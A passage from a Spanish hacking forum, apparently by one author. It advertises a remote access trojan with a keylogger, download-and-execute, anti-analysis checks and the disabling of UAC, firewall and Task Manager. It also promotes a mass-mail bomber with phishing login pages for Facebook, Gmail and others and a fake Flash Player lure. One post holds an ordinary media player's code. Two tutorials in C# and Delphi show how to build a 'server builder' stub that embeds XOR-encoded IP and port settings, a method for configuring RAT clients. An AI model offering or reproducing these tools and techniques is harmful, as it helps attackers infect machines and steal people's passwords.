  • Se puede apagar,reiniciar y cerrar sesion de la computadora
  • Se pueden cargar paginas
  • Se puede cargar paint
  • Se puede cambiar el texto de la hora y escribir lo que quieran
  • Se puede apagar el monitor
  • Se puede hacer hablar (en ingles) a la computadora
  • Bomba de Beeps
  • Se puede listar los drives disponibles
  • Se puede listar los servicios de Windows
  • Se puede listar las ventanas activas
  • Se puede bajar archivos y ejecutarlos
  • Incorpora un keylogger que captura las teclas y ventanas activas
  • Se puede desintalar el RAT

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates

    En el builder se tiene las siguientes opciones :

  • Se puede configurar si se quiere ocultar los archivos
  • Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows
  • Se puede configurar donde se quiere instalar el Rat
  • File Pumper , Extension Spoofer y Icon Changer

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Eso seria todo.
#110
Delphi / [Delphi] DH Bomber 1.3
Marzo 20, 2015, 10:36:54 AM
Un simple programa en Delphi para mandar correos con las siguientes opciones :

  • Se permite enviar mails con o sin adjunto
  • Se permite enviar mails mediante un mailist
  • Se puede configurar el timeout entre cada mensaje
  • El programa incorpora un lanzador de fakes que soporta : Facebook,Gmail,Hotmail,Yahoo,Gmail y Twitter , ademas trae un simple Xploit
  • El programa nos puede generar los archivos PHP del lanzador necesarios con los datos configurados para usarlo en cualquier hosting.
  • El programa tambien puede administrar las contraseñas encontradas con el lanzador
  • El programa tambien trae un fake que sirve de URL Malware que simula ser un video de youtube desactualizado para bajar un falso Adobe Flash Player

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Necesitan tener instalado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login para que el programa les funcione.

    Eso seria todo.
#111
C# - VB.NET / [C#] DH Player 1.0
Marzo 13, 2015, 11:16:40 AM
Este vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

    * Formatos de musica soportados : mp3,m4a,wma
    * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

    Una imagen :



    El codigo

    Código: csharp

    // DH Player 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Based on : MP3 Happy Hard Core Player V 1.0 By Steel Karpov
    // Thanks to Steel Karpov

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Windows;
    using System.Windows.Controls;
    using System.Windows.Data;
    using System.Windows.Documents;
    using System.Windows.Input;
    using System.Windows.Media;
    using System.Windows.Media.Imaging;
    using System.Windows.Navigation;
    using System.Windows.Shapes;
    using Microsoft.Win32;
    using System.IO;
    using System.Windows.Threading;
    using System.Text.RegularExpressions;

    namespace DH_Player
    {
        /// <summary>
        /// Lógica de interacción para MainWindow.xaml
        /// </summary>
        public partial class MainWindow : Window
        {
            DispatcherTimer control_del_tiempo;
            bool escribiendo;
            bool enalgo;
            bool repeat;
            bool automatic;
            bool pantalla_completa = false;

            public MainWindow()
            {
                InitializeComponent();

                control_del_tiempo = new DispatcherTimer();
                control_del_tiempo.Interval = TimeSpan.FromSeconds(1);
                control_del_tiempo.Tick += new EventHandler(timer_Tick);
                escribiendo = false;
            }

            private void timer_Tick(object sender, EventArgs e)
            {
                if (!escribiendo)
                {
                    linea.Value = player.Position.TotalSeconds;
                }
            }

            private void retroceder_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    cancion_anterior();
                }
            }

            private void play_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    enalgo = true;
                    player.Play();
                }
            }

            private void pause_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    player.Pause();
                    enalgo = false;
                }
            }

            private void avanzar_MouseUp(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    cancion_siguiente();
                }
            }

            private void nombres_MouseDoubleClick(object sender, MouseButtonEventArgs e)
            {
                if (lista.SelectedIndex != -1)
                {
                    enalgo = false;
                    start_music();
                }
            }

            private void start_music()
            {

                if (enalgo == true)
                {
                    player.Play();
                }
                else
                {

                    ListBoxItem ruta1 = (ListBoxItem)lista.SelectedItem;
                    string ruta = ruta1.Tag.ToString();
                    player.Position = TimeSpan.Zero;
                    player.LoadedBehavior = MediaState.Manual;
                    player.UnloadedBehavior = MediaState.Stop;
                    player.Source = new Uri(ruta);
                    linea.Value = 0;
                    player.Play();
                }
            }

            private void cancion_siguiente()
            {
                enalgo = false;

                try
                {

                    if (lista.SelectedIndex + 1 < lista.Items.Count)
                    {
                        lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex + 1);
                        start_music();
                    }

                }

                catch
                {
                    //
                }
            }

            private void cancion_anterior()
            {
                enalgo = false;

                try
                {

                    if (lista.SelectedIndex - 1 < lista.Items.Count)
                    {
                        lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex - 1);
                        start_music();
                    }

                }

                catch
                {
                    //
                }
            }

            private void volumen_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
            {
                try
                {
                    player.Volume = volumen.Value;
                }
                catch
                {
                    //
                }
            }

            private void player_MouseDown(object sender, MouseButtonEventArgs e)
            {

                int width_screen = 1400;
                int height_screen = 800;

                int width_original = 483;
                int height_original = 372;

                if (e.ClickCount == 2 && pantalla_completa == false)
                {
                    player.MinHeight = height_screen;
                    player.MinWidth = width_screen;

                    volumen.Visibility = Visibility.Hidden;
                    linea.Visibility = Visibility.Hidden;
                    play.Visibility = Visibility.Hidden;
                    pause.Visibility = Visibility.Hidden;
                    avanzar.Visibility = Visibility.Hidden;
                    retroceder.Visibility = Visibility.Hidden;
                    contenedor1.Visibility = Visibility.Hidden;
                    contenedor2.Visibility = Visibility.Hidden;
                    lista.Visibility = Visibility.Hidden;
                    menu1.Visibility = Visibility.Hidden;
                    progreso.Visibility = Visibility.Hidden;
                    this.WindowStyle = WindowStyle.None;
                    this.WindowState = WindowState.Maximized;

                    pantalla_completa = true;

                }
                else
                {

                    if (e.ClickCount == 2 && pantalla_completa == true)
                    {
                        player.MinHeight = height_original;
                        player.MinWidth = width_original;

                        volumen.Visibility = Visibility.Visible;
                        linea.Visibility = Visibility.Visible;
                        play.Visibility = Visibility.Visible;
                        pause.Visibility = Visibility.Visible;
                        avanzar.Visibility = Visibility.Visible;
                        retroceder.Visibility = Visibility.Visible;
                        contenedor1.Visibility = Visibility.Visible;
                        contenedor2.Visibility = Visibility.Visible;
                        lista.Visibility = Visibility.Visible;
                        menu1.Visibility = Visibility.Visible;
                        progreso.Visibility = Visibility.Visible;
                        this.WindowStyle = WindowStyle.SingleBorderWindow;
                        this.WindowState = WindowState.Normal;

                        pantalla_completa = false;

                    }
                }

            }

            private void player_MediaOpened(object sender, RoutedEventArgs e)
            {

                enalgo = true;

                if (player.NaturalDuration.HasTimeSpan)
                {
                    TimeSpan ts = player.NaturalDuration.TimeSpan;
                    linea.Maximum = ts.TotalSeconds;
                    linea.SmallChange = 1;
                }

                control_del_tiempo.Start();
            }

            private void player_MediaEnded(object sender, RoutedEventArgs e)
            {
                linea.Value = 0;
                enalgo = false;
                if (repeat == true)
                {
                    start_music();
                }
                if (automatic == true)
                {
                    cancion_siguiente();
                }
            }

            private void linea_DragStarted(object sender, System.Windows.Controls.Primitives.DragStartedEventArgs e)
            {
                escribiendo = true;
            }

            private void linea_DragCompleted(object sender, System.Windows.Controls.Primitives.DragCompletedEventArgs e)
            {
                escribiendo = false;
                player.Position =
                    TimeSpan.FromSeconds(linea.Value);
            }

            private void linea_MouseLeftButtonUp(object sender, MouseButtonEventArgs e)
            {
                player.Position = TimeSpan.FromSeconds(linea.Value);
            }

            private void linea_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
            {
                try
                {
                    string tiempo = TimeSpan.FromSeconds(linea.Value).ToString();
                    int cantidad = (int)player.NaturalDuration.TimeSpan.TotalSeconds;

                    TimeSpan tiempo_final = TimeSpan.FromSeconds(cantidad);

                    Match regex = Regex.Match(tiempo, @"(.*)\.(.*)", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        progreso.Content = regex.Groups[1].Value + " / " + tiempo_final;
                    }
                }
                catch
                {
                    //
                }
            }

            private void nombres_DragEnter(object sender, DragEventArgs e)
            {
                if (e.Data.GetDataPresent(DataFormats.FileDrop))
                {
                    e.Effects = DragDropEffects.Copy;
                }
                else
                {
                    e.Effects = DragDropEffects.None;
                }
            }

            private void nombres_Drop(object sender, DragEventArgs e)
            {
                List<string> archivos = new List<string>((string[])e.Data.GetData(DataFormats.FileDrop));
                foreach (string archivo in archivos)
                {
                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                    string extension = System.IO.Path.GetExtension(archivo);
                    if (extension == ".mp3" || extension == ".avi" || extension==".m4a" || extension==".wma" || extension==".mp4" || extension==".flv" || extension==".mkv" || extension==".wmv" || extension==".mpg")
                    {
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Song";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {

                    string[] archivos = openFileDialog1.FileNames;
                    foreach (string archivo in archivos)
                    {
                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click_1(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Song";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
                    string[] archivos = Directory.GetFiles(directorio);
                    foreach (string archivo in archivos)
                    {
                        string extension = System.IO.Path.GetExtension(archivo);
                        if (extension == ".mp3" || extension == ".m4a" || extension==".wma")
                        {
                            string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                            ListBoxItem item1 = new ListBoxItem();
                            item1.Content = nombre;
                            item1.Tag = archivo;
                            lista.Items.Add(item1);
                        }
                    }
                }
            }

            private void MenuItem_Click_2(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Video";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string[] archivos = openFileDialog1.FileNames;
                    foreach (string archivo in archivos)
                    {
                        string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                        ListBoxItem item1 = new ListBoxItem();
                        item1.Content = nombre;
                        item1.Tag = archivo;
                        lista.Items.Add(item1);
                    }
                }
            }

            private void MenuItem_Click_3(object sender, RoutedEventArgs e)
            {
                OpenFileDialog openFileDialog1 = new OpenFileDialog();
                openFileDialog1.Filter = "avi (.avi)|*.avi|mp4 (.mp4)|*.mp4|flv (.flv)|*.flv|mkv (.mkv)|*.mkv|wmv (.wmv)|*.wmv|mpg (.mpg)|*.mpg";
                openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                openFileDialog1.Multiselect = true;
                openFileDialog1.Title = "Select Videos";
                Nullable<bool> result = openFileDialog1.ShowDialog();
                if (result == true)
                {
                    string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
                    string[] archivos = Directory.GetFiles(directorio);
                    foreach (string archivo in archivos)
                    {
                        string extension = System.IO.Path.GetExtension(archivo);
                        if (extension == ".avi" || extension==".mp4" || extension ==".flv" || extension==".mkv" || extension ==".wmv" || extension==".mpg")
                        {
                            string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
                            ListBoxItem item1 = new ListBoxItem();
                            item1.Content = nombre;
                            item1.Tag = archivo;
                            lista.Items.Add(item1);
                        }
                    }
                }
            }

            private void MenuItem_Click_4(object sender, RoutedEventArgs e)
            {
                repeat = true;
            }

            private void MenuItem_Click_5(object sender, RoutedEventArgs e)
            {
                repeat = false;
            }

            private void MenuItem_Click_6(object sender, RoutedEventArgs e)
            {
                automatic = true;
            }

            private void MenuItem_Click_7(object sender, RoutedEventArgs e)
            {
                automatic = false;
            }

            private void MenuItem_Click_10(object sender, RoutedEventArgs e)
            {
                player.IsMuted = true;
            }

            private void MenuItem_Click_11(object sender, RoutedEventArgs e)
            {
                player.IsMuted = false;
            }

            private void MenuItem_Click_8(object sender, RoutedEventArgs e)
            {
                MessageBox.Show("Written By Doddy Hackman in the summer of 2015");
            }

            private void MenuItem_Click_9(object sender, RoutedEventArgs e)
            {
                Application.Current.Shutdown();
            }

            private void MenuItem_Click_12(object sender, RoutedEventArgs e)
            {
                lista.Items.Clear();
            }

        }
    }

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Eso es todo.
#112
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en C# con recursos , en el manual anterior les enseñe como hacerlo mediante EOF , una mejor forma de hacer un server builder es usando recursos.

Empecemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

"Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms" y le damos en aceptar

Como en la siguiente imagen :



Ahora tenemos que crear dos edit y un boton con el texto "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto de los edits de la siguiente forma :

textBox1 -> ip
textBox2 -> port

Para empezar vamos al inicio del codigo del programa y agregamos el siguiente codigo para poder manejar recursos :

Código: csharp

using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Resources;


Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código: csharp

private void button1_Click(object sender, EventArgs e)
{
string linea = "-ip-"+ip.Text+"-ip-"+"-port-"+port.Text+"-port-"; // Establecemos la variable "linea" como los datos de la IP y el puerto

System.Resources.ResourceWriter escribiendo = new System.Resources.ResourceWriter("configuration.resources"); // Empezamos a escribir el
// recurso "configuration"

escribiendo.AddResource("configuration",linea); // Agregamos el recurso "configuration" con los datos de la variable "linea"
escribiendo.Close(); // Guarda los recursos y se cierra

System.CodeDom.Compiler.CompilerParameters compilador = new System.CodeDom.Compiler.CompilerParameters(); // Iniciamos la instancia CompilerParameters

compilador.GenerateExecutable = true; // Aclaramos que queremos que genere un ejecutable
compilador.OutputAssembly = "stub.exe"; // Establecemos el nombre del ejecutable a generar
compilador.ReferencedAssemblies.Add("System.dll"); // Agregamos el ensamblado System
compilador.ReferencedAssemblies.Add("System.Windows.Forms.dll"); // Agregamos el ensamblado System.Windows.Forms
compilador.EmbeddedResources.Add("configuration.resources"); // Agregamos los recursos que se van a incluir en el ejecutable resultante
compilador.CompilerOptions += "/t:winexe"; // Establecemos los argumentos de la linea de comandos que usara el compilador

System.CodeDom.Compiler.CompilerResults final = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(compilador, Properties.Resources.stub);
           
// Compilamos el recurso

if (File.Exists("configuration.resources")) // Si existe el archivo "configuration.resources" ...
{
System.IO.File.Delete("configuration.resources"); // Lo borramos
}
MessageBox.Show("Done"); // Mostramos por pantalla un mensaje para decir que el stub esta listo
}


El codigo les deberia ver algo asi :



Con eso ya tendriamos hecho el builder.

0x03 : Creacion del stub

Para hacer el stub , tenemos que seguir en el mismo proyecto , entonces vamos a "Proyecto->Propiedades" y seleccionamos la pestaña de "Recursos" , les deberia aperecer esta ventana :



Ahora hacemos click en "Agregar recurso" y seleccionamos "Agregar nuevo archivo de texto" , entonces nos va a aparecer una nueva ventana y escriben "stub".

Como en la siguiente imagen :



Una vez completado veran que pueden escribir en el stub.txt , tienen que poner el siguiente codigo :

Código: csharp

using System;
using System.Text;
using System.Windows.Forms;
using System.Resources;
using System.Text.RegularExpressions;

namespace stub
{
    class Program
    {
        static void Main()
        {

            string ip = ""; // Declaramos la variable string "ip" que contendra la IP
            string port = ""; // Declaramos la variable string "port" que contendra el puerto

            ResourceManager leyendo_recurso = new ResourceManager("configuration", System.Reflection.Assembly.GetExecutingAssembly()); // Cargamos los datos
            // del recurso "configuration"

            string datos = leyendo_recurso.GetString("configuration"); // Leemos los datos del recurso "configuration"

            Match regex = Regex.Match(datos, "-ip-(.*?)-ip--port-(.*?)-port-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la IP
            // y el puerto
            if (regex.Success) // Si se encontro algo ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP encontrada en la variable "ip"
                port = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "port"
            }

            MessageBox.Show("[+] IP : " + ip); // Mostramos la IP con un mensaje usando la variable "ip"
            MessageBox.Show("[+] Port : " + port); // Mostramos el puerto con un mensaje usando la variable "port"

        }
    }
}


Una imagen de como deberia quedar :



Con eso ya terminamos el stub.

0x04 : Probando el programa

Una vez terminado el programa podremos probarlo , entonces cargamos el builder y pongan los datos que quieran , le dan al boton "Make Server" y despues cargan el stub para mostrar los datos cargados desde el builder.

Les deberia que quedar algo asi :









0x05 : Builder Tools

Como regalo les dejo una clase en C# que hice para aplicar el metodo EOF de una forma mas facil y segura (datos encriptados con XOR).

El codigo viene con ejemplos de uso y tiene el siguiente codigo :

Código: csharp

// Class Name : Builder Tools
// Version : 0.1
// (C) Doddy Hackman 2015
//
// Examples :
//builder_tools tools = new builder_tools();
//tools.escribir_eof("stub.exe","hola mundo de ***** [ip]morite[ip][port]sdasd[port]","key");
//Console.Write(tools.leer_eof("stub.exe", "key"));
//

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Text.RegularExpressions;

namespace builder
{
    class builder_tools
    {
        public string xor_now(string linea, string key)
        {
            // Credits : Based on http://stackoverflow.com/questions/2532668/help-me-with-xor-encryption
            // Thanks to Daniel Earwicker
            var contenido = new StringBuilder();
            for (int i = 0; i < linea.Length; i++)
            {
                contenido.Append((char)((uint)linea[i] ^ (uint)key[i % key.Length]));
            }
            return contenido.ToString();
        }

        public bool escribir_eof(string archivo, string texto, string key)
        {
            string delimitador = "-0x646F646479206861636B6D616E-";

            FileStream abriendo = new FileStream(archivo, FileMode.Append);
            BinaryWriter seteando = new BinaryWriter(abriendo);
            seteando.Write(delimitador + xor_now(texto, key) + delimitador);
            seteando.Flush();
            seteando.Close();
            abriendo.Close();

            return true;
        }

        public string leer_eof(string archivo, string key)
        {
            StreamReader viendo = new StreamReader(archivo);

            string contenido = viendo.ReadToEnd();
            string rta = "";

            Match regex = Regex.Match(contenido, "-0x646F646479206861636B6D616E-(.*?)-0x646F646479206861636B6D616E-", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                rta = xor_now(regex.Groups[1].Value, key);
            }
            else
            {
                rta = "WTF!";
            }

            return rta;
        }
    }
}

// The End ?


Eso seria todo.

--========--
  The End ?
--========--

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Version en VideoTutorial :

#113
[Titulo] : Creacion de un Server Builder con recursos
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
0x05 : Builder Tools

-- =================--------

0x01 : Introduccion

En este manual les voy a enseñar como hacer un Server Builder en Delphi usando recursos , en el manual anteior les enseñe como hacerlo mediante EOF , algo que no era muy seguro porque los datos estaban en texto plano y se podian leer facilmente , mediante recursos es diferente y para asegurarlo vamos a usar XOR para eso.

Empecemos ...

0x02 : Creacion del builder

Primero vamos hacer el builder , para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



Ahora creamos dos edit y boton con el texto de "Make Server" como en la siguiente imagen :



Despues deben cambiar el titulo del formulario a "Builder" y cambiarle el nombre por defecto que tienen los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

Una vez hecho , hacemos doble click en el boton y agregamos el siguiente codigo :

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);
var
  archivo: string; // Declaramos la variable "archivo" como string
  datos: string; // Declaramos la variable "datos" como string
  clave: integer; // Declaramos la variable "clave" como integer
begin
  archivo := 'stubnow.exe';
  // Establecemos la variable "archivo" como el nombre del ejecutable
  // que vamos abrir
  datos := '[ip]' + ip.Text + '[ip]' + '[port]' + port.Text + '[port]';
  // Establecemos los datos que contiene la IP y el puerto separados por etiquetas
  // y los guardamos en la variable "datos"
  clave := 123; // Establecemos la variable "clave" como "123"
  escribir_recurso(archivo, datos, clave);
  // Escribimos el recurso usando la funcion
  // "escribir_recurso" usando como argumentos las variables que acabamos de establecer
  ShowMessage('Done'); // Mostramos un mensaje en pantalla
end;


Fuera del codigo de la funcion "click" del boton agregamos el codigo de estas dos funciones :

Código: delphi

function xor_now(texto: string; clave: integer): string;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar

var
  numero: integer; // Declaramos la variable "numero" como entero
  contenido: string; // Declaramos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos la variable contenido
  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  // a la longitud de la variable texto
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // Realizamos el cifrado xor
  end;
  Result := contenido; // Devolvemos como resultado la variable "contenido"
end;

function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
var
  escribiendo: THandle; // Declaramos la variable "escribiendo" como THandle
begin
  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
    '-0x646F646479206861636B6D616E-', clave);
  // Ciframos los datos usando la funcion xor_now
  // Los parametros que usamos en la funcion xor_now son la variable "datos" como el texto
  // a cifrar , los "datos" estan entre dos delimitadores para facilitar su busqueda y
  // tambien usamos la variable "clave" como key en el cifrado xor
  escribiendo := BeginUpdateResource(pchar(ruta), False);
  // Empezamos el inicio de de la creacion
  // del recurso usando la variable "ruta"
  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  // Escribimos el recurso usando
  // la variable "datos" como el contenido del recurso y como nombre del recurso usamos
  // "CONFIGURATION"
  EndUpdateResource(escribiendo, False); // Terminamos de crear el recurso
  Result := True; // Devolvemos True como resultado de la funcion
end;


Les deberia quedar algo asi :



Con eso ya estaria el builder entonces guardamos el proyecto como "builder_now" o como quieran para terminar el builder.

0x03 : Creacion del stub

Ahora vamos a codear el Stub para eso vamos a "File->New->VCL Forms Application" como lo hice en la imagen :



La idea es buscar el recurso en el ejecutable mismo , entonces para eso vamos a crear dos edits y un boton con el texto de "Get Values".

Despues deben poner como titulo del formulario "Stub" y cambiar los names de los edits de la siguiente forma :

Edit1 -> ip
Edit2 -> port

El formulario les deberia quedar algo asi :



Ahora hacemos doble click en el boton y ponemos el siguiente codigo :

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);
var
  clave: integer; // Declaramos la variable "clave" como integer
  datos: string; // Declaramos la variable "datos" como string
  ip_found: string; // Declaramos la variable "ip_found" como string
  port_found: string; // Declaramos la variable "port_found" como string
begin
  clave := 123; // Establecemos la variable "clave" como 123
  datos := leer_recurso(clave); // Leemos el recurso usando el key que esta
  // en la variable clave y guardamos los datos en la variable "datos"
  ip_found := regex(datos, '[ip]', '[ip]');
  // Usamos la funcion regex() para buscar
  // la ip y la guardamos en la variable "ip_found"
  port_found := regex(datos, '[port]', '[port]');
  // Usamos la funcion regex() para
  // buscar el puerto y lo guardamos en la variable "port_found"
  ip.text := ip_found; // Mostramos en el edit "ip" la IP
  port.text := port_found; // Mostramos en el edit "port" el puerto
  ShowMessage('Loaded'); // Mostramos en pantalla un mensaje
end;


Despues ponemos las siguientes funciones fuera del codigo del boton :

Código: delphi

function regex(text: string; deaca: string; hastaaca: string): string;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function xor_now(texto: string; clave: integer): string;
// Funcion xor_now con el argumento
// del texto a crifrar y la clave a usar

var
  numero: integer; // Declaramos la variable "numero" como entero
  contenido: string; // Declaramos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos la variable contenido
  for numero := 1 to Length(texto) do // Realizamos un for del "1"
  // a la longitud de la variable texto
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // Realizamos el cifrado xor
  end;
  Result := contenido; // Devolvemos como resultado la variable contenido
end;

function leyendo_recurso: string;
var
  leyendo1: HRSRC; // Establecemos la variable "leyendo1" como HRSRC
  leyendo2: DWORD; // Establecemos la variable "leyendo2" como DWORD
  leyendo3: THandle; // Establecemos la variable "leyendo3" como THandle
  leyendo4: pointer; // Establecemos la variable "leyendo4" como Pointer
begin
  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  // Buscamos el recurso
  // "CONFIGURATION"
  leyendo2 := SizeofResource(hInstance, leyendo1);
  // Calculamos la tamaño del recurso
  leyendo3 := LoadResource(hInstance, leyendo1); // Cargamos el recurso
  leyendo4 := LockResource(leyendo3);
  // Bloqueamos el recurso para poder leerlo despues
  if leyendo4 <> nil then // Si "leyendo4" no esta null ...
  begin
    SetLength(Result, leyendo2 - 1); // Cambiamos la longitud de Result
    CopyMemory(@Result[1], leyendo4, leyendo2);
    // Copiamos los datos al resultado de la funcion
    FreeResource(leyendo3); // Liberamos el recurso
  end;
end;

function leer_recurso(clave: integer): string;
var
  datos: string; // Declaramos la variable "datos" como string
begin
  datos := xor_now(leyendo_recurso, clave);
  // Realizamos el cifrado xor con los datos que usamos
  // como argumentos de la funcion leer_recurso()
  datos := regex(datos, '-0x646F646479206861636B6D616E-',
    '-0x646F646479206861636B6D616E-');
  // Usamos la funcion regex() para cortar los delimitadores
  // y encontrar asi los datos del recurso para despues guardar el
  // resultado en la variable "datos"
  Result := datos;
  // Devolvemos como resultado lo que contiene la variable "datos"
end;


El codigo les deberia quedar asi :



Guardan el proyecto con el nombre que quieran y con eso ya estaria listo el stub.

0x04 : Probando el programa

Para probarlo cargamos el builder y llenamos los campos de IP y Puerto como quieran , un ejemplo de como los complete yo seria  :



Despues presionan el boton "Make Server" y listo.

Ahora cargamos el stub y le damos al boton "Get Values" , deberian ver como resultado algo como esto :



Si no ven algo como en la imagen es porque hicieron algo mal en el codigo.

0x05 : Builder Tools

Como regalo les dejo esta Unit que hice en Delphi sobre como hacer un Builder , contiene funciones para EOF y Recursos , en los dos casos uso XOR para encriptar los datos , tambien viene con ejemplos de uso.

Solo deben agregar "builder_tools" en el parte de "uses" del codigo y listo , podran usar las funciones.

El codigo :

Código: delphi

// Unit : Builder Tools
// Version : 0.2
// (C) Doddy Hackman 2015
// Credits : Resources based in http://www.hackforums.net/showthread.php?tid=1422700
// Examples :
// escribir_eof('stub.exe','-delimitador-','-delimitador-','test',123);
// leer_eof('stub.exe','-delimitador-','-delimitador-',123);
// escribir_recurso('stub.exe','test',123);
// leer_recurso(123);

unit builder_tools;

interface

uses SysUtils, Windows;

function leer_eof(ruta, delimitador1, delimitador2: string;
  clave: integer): string;
function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  clave: integer): bool;
function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
function leyendo_recurso: string;
function leer_recurso(clave: integer): string;
function xor_now(texto: string; clave: integer): string;
function regex(text: string; deaca: string; hastaaca: string): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
  numero: integer;
  contenido: string;
begin
  contenido := '';
